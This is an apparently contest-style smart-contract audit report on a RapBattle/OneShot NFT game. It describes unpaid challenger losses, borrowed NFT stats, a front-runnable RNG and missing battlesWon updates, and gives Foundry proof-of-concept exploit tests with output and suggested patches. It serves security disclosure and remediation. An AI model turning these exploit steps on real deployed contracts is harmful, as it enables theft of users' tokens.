Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Challengers avoid paying for losses and can use any rapper's stats. Miners or MEV BOTS can front-run due to a flawed RNG. There are no `battlesWon` increments.

Summary

A malicious challenger can exploit another user's rapper skill statistics to manipulate the rap battle because there's no oneShot ERC721 hold or checks present to resist it. They have the capability to withhold approval for their cred ERC20 balance from RapBattle as spender. Consequently, the defender is consistently vulnerable to losing the battle. If the challenger wins, the RapBattle rewards them with the totalPrize, which equals defenderBet + _credBet. However, if the challenger loses, the RapBattle attempts to reward the defender with the totalPrize. Due to the lack of approval or allowances to spend or transfer the cred ERC20 balance on behalf of the challenger, the protocol will never pay out. This enables the malicious challenger to profit by selectively giving up on unfavorable chances while still benefiting from winning scenarios.

Furthermore, the malicious challenger, who is aware of this security vulnerability, has another method to minimize their chances of losing. This aligns with what was mentioned in the first line of the paragraph above.

RapBattle.sol::_battle function... at LOC#58. The else branch of the RapBattle.sol::goOnStageOrBattle function lacks ERC721 tokenId challenger's ownership hold or check.

function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
// πŸ‘‡ No ERC721 ownership check or hold present...⬇️
@> uint256 challengerRapperSkill = getRapperSkill(_tokenId);
...
...
...
}

RapBattle.sol::_battle function... at LOC#73. The else branch of the RapBattle.sol::goOnStageOrBattle function lacks ERC20 CRED amount challenger's ownership hold or check. Although it is present, it has been commented out by the implementer of the RapBattle contract. Consequently, a challenger is able to initiate a Rap Battle without approving any amount, thereby ensuring zero loss.

function _battle(uint256 _tokenId, uint256 _credBet) internal {
...
...
...
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
@> credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
credToken.transfer(msg.sender, _credBet);
}
...
...
...
}

In the RapBattle::goOnStageOrBattle function, there are no approval checks or transfers of ERC721 and ERC20 tokens to RapBattle in the challenger's branch or the _battle internal function. It appears that the implementer may have been confused during the implementation process. Please refer to the comments provided in code snippet below at the bottom of the summary, where I addressed the overall issues.

Additionally, another flaw is present in the utilization of a flawed RNG mechanism for winner selection. The properties used to evaluate the RNGβ€”block.timestamp, block.prevrandao, and msg.senderβ€”are all susceptible to front-running by either a miner or an MEV Bot.

RapBattle.sol::_battle function... at LOC#62

function _battle(uint256 _tokenId, uint256 _credBet) internal {
...
...
...
​
@> uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
​
...
...
...
}

Furthermore, consider utilizing the safeTransferFrom function provided by openzeppelin's ERCs instead of transferFrom to ensure resistance to reentrancy issues. However, it's important to note that reentrancy cannot occur due to ERC721 reverts on double spend approvals.

RapBattle.sol::goOnStageOrBattle function at LOC#46

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
​
emit OnStage(msg.sender, _tokenId, _credBet);
​
@> oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
@> credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}

RapBattle.sol::_battle function at LOC#80

function _battle(uint256 _tokenId, uint256 _credBet) internal {
...
...
...
​
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
@> credToken.transfer(_defender, defenderBet);
@> credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
@> credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
// Return the defender's NFT
@> oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}

If we pay closer attention to the _battle function, we notice that there are no corresponding increments for battlesWon after either the defender or challenger wins. However Protocol's Docs say that...

The Rapper NFT.
​
Users mint a rapper that begins with all the flaws and self-doubt we all experience.
NFT Mints with the following properties:
​
- `weakKnees` - True
- `heavyArms` - True
- `spaghettiSweater` - True
- `calmandReady` - False
- `battlesWon` - 0
​
@> The only way to improve these stats is by staking in the `Streets.sol`: <- Read this line here πŸ‘ˆ

RapBattle.sol::_battle function at LOC#70. The logic to update the user's battlesWon is missing in both branches of the if-else statement.

function _battle(uint256 _tokenId, uint256 _credBet) internal {
...
...
...
​
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
@> if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
@> } else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
credToken.transfer(msg.sender, _credBet);
}
...
...
...
}

Two additional issues need addressing also. Firstly, the RapBattle contract ultimately holds at least one ERC721 NFT. Consequently, it should include an onERC721Received function with proper inheritance, similar to the Streets contract. Secondly, the RapBattle contract imports the Credibility contract, but it is not utilized anywhere; instead, its interface is used.

Note: I am already aware of BASE_SKILL = 65, and, GAS inefficient getRapperSkill function, in the current RapBattle. Therefore mentioned in another findings, Please refer them also if needed here.

While it's currently possible for a defender to also become their own challenger, they don't earn anything regardless of winning or losing. This issue could potentially be automatically addressed by the mitigations listed below. However, it should be resistant to exploitation.

RapBattle.sol All overall issues have been addressed, including those minor ones that were not explicitly mentioned above.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
​
import {IOneShot} from "./interfaces/IOneShot.sol";
import {Credibility} from "./CredToken.sol"; // πŸ‘ˆ <- not utilized anywhere in the code.
import {ICredToken} from "./interfaces/ICredToken.sol";
​
contract RapBattle {
...
...
...
​
​
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
​
emit OnStage(msg.sender, _tokenId, _credBet);
// πŸ‘‡not so safe ercs transfer from
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
​
// -----------
// --- ||
// - \/ <- underneath this branch (challenger's branch)
@> } else {
// first protocol doesn't hold or verifies tokenId of the challenger
// secondly, πŸ‘‡ As i said implementer(creator of this RapBattle Protocol) might got confused during facilitating challenger more versatitlity.
// The proof is connected with the comment into _battle function.
// So πŸ‘‡ this loc was intentionally commmented out.
||<----------// credToken.transferFrom(msg.sender, address(this), _credBet);
|| _battle(_tokenId, _credBet); // πŸ‘ˆ defender could be self challenger.
|| }
|| }
||
|| function _battle(uint256 _tokenId, uint256 _credBet) internal {
|| address _defender = defender;
||----->require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
|| uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
||--|--->// no Hold or verification of challenger's tokenId causes security hole here.
||--|-->uint256 challengerRapperSkill = getRapperSkill(_tokenId);
|| | uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
||--|--->// implementer (Protocol creator) made below loc a dEaD loc.
||--|--->uint256 totalPrize = defenderBet + _credBet;
|| |--->// BAD RNG---------------------------------------||---------||-------------||
|| | // -------------------------------- \/ ------ \/ ------- \/
|| | uint256 random =
|| | uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
|| |
|| | // Reset the defender
|| | defender = address(0);
|| | emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
|| |
|| | // If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
|| | if (random <= defenderRapperSkill) {
|| | // We give them the money the defender deposited, and the challenger's bet
|| | // πŸ‘‡ not so safe ercs transfers
|| | credToken.transfer(_defender, defenderBet);
||--|------>// πŸ‘‡ while giving challenger more freedom, the implementer forgot the legit behavior of ERC20 below here.
||--|------>credToken.transferFrom(msg.sender, _defender, _credBet);
|| | } else {
||--|-----|>// Otherwise, since the challenger never sent us the money, we just give the money in the contract
| | credToken.transfer(msg.sender, _credBet); // πŸ‘ˆ not so safe ercs transfers
| } |
| |----------------------|
| totalPrize = 0; <--------| //<------------- dEaD LoC
| // Return the defender's NFT
|---------------->πŸ‘‡ // Not so safe transferFrom.
| oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
|}
|
|function getRapperSkill(uint256 _tokenId) public view returns (uint256 finalSkill) {
|-->IOneShot.RapperStats memory stats = oneShotNft.getRapperStats(_tokenId);
| finalSkill = BASE_SKILL;
|-->// also this calc below isn't GAS Efficient. I mentioned in my another findings
if (stats.weakKnees) {
finalSkill -= VICE_DECREMENT;
}
if (stats.heavyArms) {
finalSkill -= VICE_DECREMENT;
}
if (stats.spaghettiSweater) {
finalSkill -= VICE_DECREMENT;
}
if (stats.calmAndReady) {
finalSkill += VIRTUE_INCREMENT;
}
}
}

Vulnerability Details

  1. Proof of concept for how challengers can exploit others' rapper stats to guarantee profit in rap battles regardless of wins and losses. Let's consider a scenario involving a user named Raftaar and his interactions within the rap battle system:

    • Raftaar creates(mints) his rapper with default stats.

    • He stakes his oneShot rapper NFT to earn Cred and gain experience.

    • After one day, he unstakes and earns 1 Cred ERC20, and his rapper's stats are updated based on the experience gained.

    • Raftaar's rapper stats: weakKnees: false, heavyArms: true, spaghettiSweater: true, calmAndReady: false, battlesWon: 0

    • Raftaar randomly checks the stats of other users' rappers and finds:

    • Alice: weakKnees: false, heavyArms: true, spaghettiSweater: true, calmAndReady: false, battlesWon: 0

    • Slim Shady: weakKnees: false, heavyArms: false, spaghettiSweater: false, calmAndReady: true, battlesWon: 0

    • Aware of the absence of holds and checks for ERC721 token IDs, Raftaar decides to exploit these vulnerabilities.

    • He waits and discovers that Alice is now a defender with the same rapper stats as his own.

    • Realizing he can battle without approving any amount to RapBattle and knowing there are no holds or checks for the challenger's Cred ERC20, Raftaar decides to explore further.

    • Raftaar searches for a user with healthier rapper stats and finds Slim Shady.

    • First he decides to challenge Alice using his own token ID. He Loses.

    • Secondly, he decides to challenge Alice using Alice token ID. He Loses.

    • In the end, he decides to challenge Alice using Slim Shady's ERC721 token ID, knowing that even if he loses, nobody can spend his Cred.

    • As anticipated, Raftaar wins the battle after strategically giving up on some unfavorable battles.

    PoC: Raftaar always earns

    1. Put the test code below into OneShotTest.sol at the very bottom but before closing }.

    function testChallengerCanUseAnyRappersStatsAndDontNeedToApproveAnyERCs() public {
    // Alice - The Defender.
    vm.startPrank(user);
    oneShot.mintRapper();
    oneShot.approve(address(streets), 0);
    streets.stake(0);
    vm.stopPrank();
    ​
    // Slim Shady - challenger
    vm.startPrank(challenger);
    oneShot.mintRapper();
    oneShot.approve(address(streets), 1);
    streets.stake(1);
    vm.stopPrank();
    ​
    vm.warp(1 days + 1);
    ​
    vm.startPrank(user);
    streets.unstake(0);
    vm.stopPrank();
    ​
    vm.warp(block.timestamp + 3 days + 1);
    ​
    vm.startPrank(challenger);
    streets.unstake(1);
    vm.stopPrank();
    ​
    // Raftaar - another challenger.
    address raftaar = makeAddr("RAFTAAR");
    ​
    vm.startPrank(raftaar);
    oneShot.mintRapper();
    oneShot.approve(address(streets), 2);
    streets.stake(2);
    vm.stopPrank();
    ​
    vm.warp(block.timestamp + 1 days + 1);
    ​
    vm.startPrank(raftaar);
    streets.unstake(2);
    vm.stopPrank();
    ​
    // Alice wants to step up on the stage and wanna make her cred(s) online. (at risk)
    vm.startPrank(user);
    oneShot.approve(address(rapBattle), 0);
    cred.approve(address(rapBattle), 1);
    rapBattle.goOnStageOrBattle(0, 1);
    vm.stopPrank();
    ​
    vm.startPrank(raftaar);
    // Raftaar checks defender's rapper's stats
    OneShot.RapperStats memory aliceRapperStats = oneShot.getRapperStats(0);
    ​
    // Raftaar checks slim shady's rapper's stats
    OneShot.RapperStats memory slimShadyRapperStats = oneShot.getRapperStats(1);
    ​
    // Raftaar checks his own rapper's stats
    OneShot.RapperStats memory raftaarRapperStats = oneShot.getRapperStats(2);
    ​
    console2.log("aliceRapperStats - weakKnees, heavyArms, spaghettiSweater, calmAndReady, battlesWon:` ");
    console2.log(aliceRapperStats.weakKnees);
    console2.log(aliceRapperStats.heavyArms);
    console2.log(aliceRapperStats.spaghettiSweater);
    console2.log(aliceRapperStats.calmAndReady);
    console2.log(aliceRapperStats.battlesWon);
    ​
    console2.log("slimShadyRapperStats - weakKnees, heavyArms, spaghettiSweater, calmAndReady, battlesWon:` ");
    console2.log(slimShadyRapperStats.weakKnees);
    console2.log(slimShadyRapperStats.heavyArms);
    console2.log(slimShadyRapperStats.spaghettiSweater);
    console2.log(slimShadyRapperStats.calmAndReady);
    console2.log(slimShadyRapperStats.battlesWon);
    ​
    console2.log("raftaarRapperStats - weakKnees, heavyArms, spaghettiSweater, calmAndReady, battlesWon:` ");
    console2.log(raftaarRapperStats.weakKnees);
    console2.log(raftaarRapperStats.heavyArms);
    console2.log(raftaarRapperStats.spaghettiSweater);
    console2.log(raftaarRapperStats.calmAndReady);
    console2.log(raftaarRapperStats.battlesWon);
    ​
    // haven't approved rapBattle.
    // cred.approve(address(rapBattle), 1);
    // oneShot.approve(address(rapBattle), 2);
    ​
    vm.expectRevert();
    rapBattle.goOnStageOrBattle(2, 1);
    ​
    vm.expectRevert();
    rapBattle.goOnStageOrBattle(0, 1);
    ​
    vm.recordLogs();
    rapBattle.goOnStageOrBattle(1, 1);
    vm.stopPrank();
    ​
    Vm.Log[] memory recordedLogs = vm.getRecordedLogs();
    address winner = address(uint160(uint256(recordedLogs[1].topics[2])));
    uint256 winnerBalance = cred.balanceOf(raftaar);
    ​
    console2.log("winner:", winner);
    console2.log("raftaar: ", raftaar);
    console2.log("winner aka raftaar's cred balance:", winnerBalance);
    ​
    assertEq(winner, raftaar);
    assertEq(winnerBalance, 2);
    }
    1. Open the bash terminal and execute the cmd below...

    forge test --mt "testChallengerCanUseAnyRappersStatsAndDontNeedToApproveAnyERCs" -vv
    1. See the output...

    Ran 1 test for test/OneShotTest.t.sol:RapBattleTest
    [PASS] testChallengerCanUseAnyRappersStatsAndDontNeedToApproveAnyERCs() (gas: 850559)
    Logs:
    aliceRapperStats - weakKnees, heavyArms, spaghettiSweater, calmAndReady, battlesWon:`
    false
    true
    true
    false
    0
    slimShadyRapperStats - weakKnees, heavyArms, spaghettiSweater, calmAndReady, battlesWon:`
    false
    false
    false
    true
    0
    raftaarRapperStats - weakKnees, heavyArms, spaghettiSweater, calmAndReady, battlesWon:`
    false
    true
    true
    false
    0
    winner: 0xB87de17cA35cc37c1AC0E451C190853A54125da6
    raftaar: 0xB87de17cA35cc37c1AC0E451C190853A54125da6
    winner aka raftaar's cred balance: 2
    ​
    Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.12ms
    ​
    Ran 1 test suite in 9.12ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

    As evident from the test results, the test passes, and Raftaar consistently earns. The significant factor is that he never incurs charges for Cred if he loses. He also used slim shady's ERC721 token ID.


  1. Proof of concept for how a MEV Bot or a miner can exploit the implemented flawed pseudo RNG:

    • The deployer deploys the complete OneShot Protocol, including all necessary contracts such as the RapBattle contract.

    • Initially, a MEV Bot engages with the protocol, participating either as a challenger or a defender in a Rap Battle. The MEV Bot holds the transaction and strategically places it in a favorable block to ensure a win, releasing it at an opportune moment.

    • Similarly, a miner becomes aware of the flawed pseudo RNG present in the block and decides to front-run it. The miner also participates in a rap battle, holding the block containing the transaction and releasing it in their favor.


  1. Proof of concept illustrating how the protocol is failing to update the winner's rapper's battlesWon stats property.

    • Suppose a rap battle has commenced between Alice and Bob.

    • Now, let's assume that Alice emerged as the winner of the rap battle.

    • However, upon checking her stats, Alice discovered that her rapper's battlesWon property hadn't been updated, despite her balance being correct.

    PoC: Fails to increment battlesWon Count

    1. Put the test code below into OneShotTest.sol at the very bottom but before closing }.

    function testWinnerRappersBattlesWonCountNotUpdates() public {
    address bob = makeAddr("BOB");
    address alice = makeAddr("ALICE");
    ​
    // alice the defender.
    vm.startPrank(alice);
    oneShot.mintRapper();
    oneShot.approve(address(streets), 0);
    streets.stake(0);
    vm.stopPrank();
    ​
    vm.warp(1 days + 1);
    ​
    vm.startPrank(alice);
    streets.unstake(0);
    vm.stopPrank();
    ​
    // bob - the challenger.
    vm.startPrank(bob);
    oneShot.mintRapper();
    oneShot.approve(address(streets), 1);
    streets.stake(1);
    vm.stopPrank();
    ​
    vm.warp(block.timestamp + 4 days + 1);
    ​
    vm.startPrank(bob);
    streets.unstake(1);
    vm.stopPrank();
    ​
    vm.startPrank(alice);
    cred.approve(address(rapBattle), 1);
    oneShot.approve(address(rapBattle), 0);
    rapBattle.goOnStageOrBattle(0, 1);
    vm.stopPrank();
    ​
    vm.startPrank(bob);
    cred.approve(address(rapBattle), 1);
    oneShot.approve(address(rapBattle), 1);
    vm.recordLogs();
    rapBattle.goOnStageOrBattle(1, 1);
    vm.stopPrank();
    ​
    Vm.Log[] memory recordedLogs = vm.getRecordedLogs();
    address winner = address(uint160(uint256(recordedLogs[2].topics[2])));
    uint256 winnerBalance = cred.balanceOf(winner);
    address ownerBobTokenId = oneShot.ownerOf(0);
    address ownerAliceTokenId = oneShot.ownerOf(1);
    ​
    console2.log("Alice's token id owner: ", ownerAliceTokenId);
    console2.log("Bob's token Id owner: ", ownerBobTokenId);
    ​
    console2.log("alice address: ", alice);
    console2.log("bob address: ", bob);
    console2.log("winner:", winner);
    console2.log("winner aka alice's cred balance:", winnerBalance);
    ​
    OneShot.RapperStats memory winnerAkaAliceStats = oneShot.getRapperStats(0);
    console2.log("winner aka alice' rappers updated stats: ");
    console2.log(winnerAkaAliceStats.weakKnees);
    console2.log(winnerAkaAliceStats.heavyArms);
    console2.log(winnerAkaAliceStats.spaghettiSweater);
    console2.log(winnerAkaAliceStats.calmAndReady);
    console2.log(winnerAkaAliceStats.battlesWon);
    console2.log("-----------");
    ​
    assertEq(winnerBalance, 2);
    assertEq(winner, alice);
    }
    1. Open the bash terminal and execute the cmd below...

    forge test --mt "testWinnerRappersBattlesWonCountNotUpdates" -vv
    1. See the output...

    Ran 1 test for test/OneShotTest.t.sol:RapBattleTest
    [PASS] testWinnerRappersBattlesWonCountNotUpdates() (gas: 677649)
    Logs:
    Alice's token id owner: 0xa53b369bDCbe05dcBB96d6550C924741902d2615
    Bob's token Id owner: 0xef211076B8d8b46797E09c9a374Fb4Cdc1dF0916
    alice address: 0xef211076B8d8b46797E09c9a374Fb4Cdc1dF0916
    bob address: 0xa53b369bDCbe05dcBB96d6550C924741902d2615
    winner: 0xef211076B8d8b46797E09c9a374Fb4Cdc1dF0916
    winner aka alice's cred balance: 2
    winner aka alice' rappers updated stats:
    weakKnees: false
    heavyArms: true
    spaghettiSweater: true
    calmAndReady: false
    battlesWon: 0 <- πŸ‘ˆ here
    -----------
    ​
    Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.07ms
    ​
    Ran 1 test suite in 6.07ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

    As observed, there is no increment in Alice's rapper's battlesWon stat property.


  1. Proof of concept for, Self challenger with zero or more cred Tokens.

    • As a user could potentially claim illegitimate winnings if we take the respective increments of battlesWon into account.

    • One possible scenario is a self-challenger with zero or more CRED, after addressing all the identified issues, resulting in illegitimate increments in the winner's rapper's battlesWon count stats property.

Impact

The impact of all the vulnerabilities within (RapBattle::_battle function) is highly severe or IMO Highly CRITICAL.

  • Only the challenger can profit in the battle; however, if the defender wins, the transaction is reverted, which is unfair to the defender. This exploit can occur frequently whenever a defender is waiting for a challenger.

  • The malicious challenger can further exploit the situation by accessing anyone's rapper stats, including the defender's.

  • Furthermore, users, miners, or bots don't even need to exploit the flawed RNG due to the initial lack of oneshot (ERC721) and cred (ERC20) approvals and checks.

  • After addressing all the discussed issues, the issue of a "self-challenger" with "0 or more CREDs" still remains, which could potentially result in the increment of the winner's rapper stats property battlesWon count. It should be resistant to exploitation because they could essentially increase their rapper reputation in the competition.

The absence of checks and holds for the challenger's ERC721 and ERC20 tokens increases the likelihood of these exploits occurring, which should be considered critical. This significantly undermines the overall behavior of RapBattle and leaves the defender's funds as well as protocol itself completely vulnerable. Thus, IMO the lack of ERCs ownership approval holds and checks is the root cause of all issues.

Indeed, given the circumstances described:

  • The likelihood is assessed as High in most cases.

  • Given the utilization of a flawed RNG, front-running remains a possibility even if other issues are mitigated. Therefore, the severity is also considered High.
    Therefore, the overall impact is classified as either High or Critical (Critical IMO).

Tools Used

Manual review, Foundry, console2

Recommendations

There are a few mitigation methods...

It is crucial to prioritize the mitigation of the "BAD FLAWED RNG" due to its vulnerability to Front-Running. To mitigate this issue, we can implement a Truly Fair Guaranteed Randomness mechanism using the VRF (Verifiable Random Function) Randomness mechanism offered by Chainlink. Please refer to their documentation for further details.

After addressing the vulnerability in the winner selection RNG, update RapBattle.sol by implementing one of the recommended mitigations to resolve the remaining issues outlined below.

  • Several tweaks and additional lines of code are required to be added to RapBattle.sol, as outlined below.

  1. Mitigation (First):

    • Implement a robust ownership verification system for ERC721 tokenIDs in the RapBattle contract.

    • Enforce strict validation checks for ERC tokens approvals during rap battles to ensure or force challengers to pay on losses.

      src/RapBattle.sol:

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.20;
      ​
      import {IOneShot} from "./interfaces/IOneShot.sol";
      - import {Credibility} from "./CredToken.sol";
      import {ICredToken} from "./interfaces/ICredToken.sol";
      + import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
      + import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
      ​
      - contract RapBattle {
      + contract RapBattle is IERC721Receiver {
      + using SafeERC20 for ICredToken;
      ...
      ...
      ...
      ​
      function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
      + require(_credBet > 0, "RapBattle: Bet amount can't be 0");
      if (defender == address(0)) {
      defender = msg.sender;
      defenderBet = _credBet;
      defenderTokenId = _tokenId;
      ​
      emit OnStage(msg.sender, _tokenId, _credBet);
      ​
      - oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
      + oneShotNft.safeTransferFrom(msg.sender, address(this), _tokenId);
      - credToken.transferFrom(msg.sender, address(this), _credBet);
      + credToken.safeTransferFrom(msg.sender, address(this), _credBet);
      } else {
      - // credToken.transferFrom(msg.sender, address(this), _credBet);
      + oneShotNft.safeTransferFrom(msg.sender, address(this), _tokenId);
      + credToken.safeTransferFrom(msg.sender, address(this), _credBet);
      _battle(_tokenId, _credBet);
      }
      }
      ​
      function _battle(uint256 _tokenId, uint256 _credBet) internal {
      - address _defender = defender;
      require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
      + address _defender = defender;
      + uint256 _defenderBet = defenderBet;
      + uint256 _defenderTokenId = defenderTokenId;
      - uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
      + uint256 defenderRapperSkill = getRapperSkill(_defenderTokenId);
      uint256 challengerRapperSkill = getRapperSkill(_tokenId);
      uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
      - uint256 totalPrize = defenderBet + _credBet;
      + uint256 totalPrize = _defenderBet + _credBet;
      ​
      // use chainlink VRF mechanism instead of this πŸ‘‡
      uint256 random =
      uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
      ​
      // Reset the defender
      defender = address(0);
      emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
      ​
      // If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
      if (random <= defenderRapperSkill) {
      // We give them the money the defender deposited, and the challenger's bet
      - credToken.transfer(_defender, defenderBet);
      - credToken.transferFrom(msg.sender, _defender, _credBet);
      + credToken.safeTransfer(_defender, totalPrize);
      } else {
      - // Otherwise, since the challenger never sent us the money, we just give the money in the contract
      - credToken.transfer(msg.sender, _credBet);
      + credToken.safeTransfer(msg.sender, totalPrize);
      }
      totalPrize = 0;
      - // Return the defender's NFT
      + // Return the challenger's and defender's NFT
      - oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
      + oneShotNft.safeTransferFrom(address(this), _defender, _defenderTokenId);
      + oneShotNft.safeTransferFrom(address(this), msg.sender, _tokenId);
      }
      ...
      ...
      ...
      ​
      + // Implementing IERC721Receiver so the contract can accept ERC721 tokens
      + function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
      + return IERC721Receiver.onERC721Received.selector;
      + }
      }

After updating RapBattle.sol with the proposed mitigation to defend against the Challengers' Use of Others' TokenIDs and Failure to Pay on Losses, we also introduce one layer of Reentrancy resistance.

However remember, there's no logic for battlesWon respective increments. As Protocol's Docs say that...

The Rapper NFT.
​
Users mint a rapper that begins with all the flaws and self-doubt we all experience.
NFT Mints with the following properties:
​
- `weakKnees` - True
- `heavyArms` - True
- `spaghettiSweater` - True
- `calmandReady` - False
- `battlesWon` - 0
​
@> The only way to improve these stats is by staking in the `Streets.sol`: <- Read this line here πŸ‘ˆ
  1. Mitigation (First + this): Please proceed with updating RapBattle.sol, incorporating the previous tweaks and updates along with the suggested mitigation.

    • If this is the case, we might need to implement an initialization function in Streets.sol with owner access controls to store the RapBattle contract address for future ease. This way, we could invoke the stake and unstake functions of the Streets contract and the updateRapperStats function after confirming that the invocation was indeed made by RapBattle to update the winner's rapper's stats.

    • However, this approach has another flaw. The RapBattle contract would have to participate in staking either for incentive or for free, depending on whether we invoke the stake function whenever a defender comes for a battle and unstake on winner selection (earning incentive), or if we invoke the stake and unstake functions on winner selection (earning no incentive). This approach is illogical because if we do this, the RapBattle contract won't have any rapper, and therefore would have default hypothetical rapper stats. Thus, this implementation doesn't make sense because RapBattle is a platform itself, not a user or person. It shouldn't need to earn an incentive, a cut from the protocol, not from users, for the protocol. In the End we just need to update the user's battlesWon stat only not all the stats.

    • Alternatively, we could follow another approach where we allow the RapBattle contract's address to be an allowed address, along with the Streets contract, in OneShot.sol. This would enable the RapBattle contract to update the user's rapper's stats (specifically the battlesWon property) with proper authority and access control. By adding the RapBattle contract's address to the list of allowed contracts in OneShot.sol, adversaries are prevented from deploying a malicious RapBattle contract on any Ethereum chain, including Arbitrum.

      src/interfaces/ICredToken.sol

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.20;
      ​
      + import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
      ​
      - interface ICredToken {
      + interface ICredToken is IERC20 {
      function decimals() external returns (uint8);
      ​
      - function approve(address to, uint256 amount) external;
      ​
      - function transfer(address to, uint256 amount) external;
      ​
      - function transferFrom(address from, address to, uint256 amount) external;
      ​
      - function balanceOf(address user) external returns (uint256 balance);
      }

      src/OneShot.sol

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.20;
      ​
      import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
      import {ERC721URIStorage, ERC721} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
      - import {Credibility} from "./CredToken.sol";
      import {IOneShot} from "./interfaces/IOneShot.sol";
      import {Streets} from "./Streets.sol";
      + import {RapBattle} from "./RapBattle.sol";
      ​
      contract OneShot is IOneShot, ERC721URIStorage, Ownable {
      uint256 private _nextTokenId;
      Streets private _streetsContract;
      + RapBattle private _rapBattleContract;
      ​
      ...
      ...
      ...
      ​
      - // configures streets contract address
      + // configures streets and RapBattle contracts addresses
      - function setStreetsContract(address streetsContract) public onlyOwner {
      + function setAllowedContracts(address streetsContract, address rapBattleContract) public onlyOwner {
      _streetsContract = Streets(streetsContract);
      + _rapBattleContract = RapBattle(rapBattleContract);
      }
      ​
      - modifier onlyStreetContract() {
      + modifier onlyAllowedContracts() {
      - require(msg.sender == address(_streetsContract), "Not the streets contract");
      + require(
      + msg.sender == address(_streetsContract) || msg.sender == address(_rapBattleContract),
      + "Not the streets or RapBattle contract"
      + );
      _;
      }
      ​
      ...
      ...
      ...
      ​
      function updateRapperStats(
      uint256 tokenId,
      bool weakKnees,
      bool heavyArms,
      bool spaghettiSweater,
      bool calmAndReady,
      uint256 battlesWon
      - ) public onlyStreetContract {
      + ) public onlyAllowedContracts {
      RapperStats storage metadata = rapperStats[tokenId];
      metadata.weakKnees = weakKnees;
      metadata.heavyArms = heavyArms;
      metadata.spaghettiSweater = spaghettiSweater;
      metadata.calmAndReady = calmAndReady;
      metadata.battlesWon = battlesWon;
      }
      ​
      ...
      ...
      ...
      }

      src/RapBattle.sol: (With Last Updates)

      ...
      ...
      ...
      ​
      function _battle(uint256 _tokenId, uint256 _credBet) internal {
      ...
      ...
      ...
      ​
      // If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
      if (random <= defenderRapperSkill) {
      // We give them the money the defender deposited, and the challenger's bet
      credToken.safeTransfer(_defender, totalPrize);
      + IOneShot.RapperStats memory defenderRapperStats = oneShotNft.getRapperStats(_defenderTokenId);
      ​
      + oneShotNft.updateRapperStats(
      + _defenderTokenId,
      + defenderRapperStats.weakKnees,
      + defenderRapperStats.heavyArms,
      + defenderRapperStats.spaghettiSweater,
      + defenderRapperStats.calmAndReady,
      + defenderRapperStats.battlesWon + 1
      + );
      } else {
      credToken.safeTransfer(msg.sender, totalPrize);
      + IOneShot.RapperStats memory challengerRapperStats = oneShotNft.getRapperStats(_tokenId);
      ​
      + oneShotNft.updateRapperStats(
      + _tokenId,
      + challengerRapperStats.weakKnees,
      + challengerRapperStats.heavyArms,
      + challengerRapperStats.spaghettiSweater,
      + challengerRapperStats.calmAndReady,
      + challengerRapperStats.battlesWon + 1
      + );
      }
      ...
      ...
      ...
      }
      ...
      ...
      ...
      }
      ​
      ...
      ...
      ...
Updates

